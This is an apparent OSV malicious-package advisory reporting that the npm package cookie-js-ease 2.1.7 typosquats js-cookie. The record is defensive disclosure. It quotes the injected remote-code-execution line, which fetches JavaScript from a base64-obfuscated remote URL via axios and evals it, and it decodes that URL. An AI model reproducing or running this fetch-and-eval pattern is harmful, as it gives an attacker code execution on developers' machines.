{"id":"MAL-2026-10058","summary":"Malicious code in cookie-js-ease (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (2908ef4ab9f019d4675b39066f876acb959cd9814b47bb66f8f4554c517abe0d)\ncookie-js-ease@2.1.7 impersonates the popular js-cookie library (same repository URL, banner comment, API surface, and reused upstream author name 'Klaus Hartl') but adds axios and request as runtime dependencies and injects a remote-code-execution branch into the CommonJS build referenced by the package's main entry (dist/cookie.ease.js). When a consumer calls Cookies.set()/remove() in a Node.js context (or with expires==0), the code executes require('axios').get(atob('aHR0cHM6Ly9jb29raWUtYXBpLXR3by52ZXJjZWwuYXBwLw')).then(r =\u003e { eval(r.data.content) }) — fetching JavaScript from https://cookie-api-two.vercel.app/ and eval'ing the response body inside the installer's Node process. The destination URL is base64-obfuscated via atob() to evade static scanners. The.mjs and.min.js variants do not contain this branch, so the payload is targeted specifically at CommonJS consumers. This is unambiguous typosquat-plus-RCE: consumers who mistype js-cookie and reach for this package receive attacker-controlled code execution on first use of the library's core API.\n","modified":"2026-07-09T16:31:50.170857985Z","published":"2026-07-09T16:20:14Z","database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-009300","import_time":"2026-07-09T16:20:58.373442056Z","modified_time":"2026-07-09T16:20:14Z","sha256":"2908ef4ab9f019d4675b39066f876acb959cd9814b47bb66f8f4554c517abe0d","source":"amazon-inspector","versions":["2.1.7"]}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/cookie-js-ease/v/2.1.7"}],"affected":[{"package":{"name":"cookie-js-ease","ecosystem":"npm","purl":"pkg:npm/cookie-js-ease"},"versions":["2.1.7"],"database_specific":{"cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"indicators":{"package_integrity":[{"hashes":{"sha1":"5591f8e551f16468d712a1442750c4f98bc86c55","sha512_sri":"sha512-hbv1hI1Qfky6YzC3Yjk1Pk03I/By9r6euI/nN0rwrWExDdoEbQWGd4iCQuX3gtf0RE/X0/bm7RbBD9PqNnqdMA=="},"filename":"cookie-js-ease-2.1.7.tgz"}],"evidence_files":[{"path":"dist/cookie.ease.js","sha256":"bb0c1a992cac3046f34e91d87bdbb860c32f4116240c9a73b3f7853e4e8ccced","tlsh":"1691246c28e625e21f072439dbaf61007374d51b049ede607c8ce3621f6ac3916f5aed"},{"path":"package.json","sha256":"226c9d9230212d4366fae068476846a706c790c55f831d0c5abc959372b2f8a0","tlsh":"f641a72cec1c4ea71ae81ad9695a1292a521a4035d40fc4db362272c4f6e16f31fb7bd"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/cookie-js-ease/MAL-2026-10058.json"}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}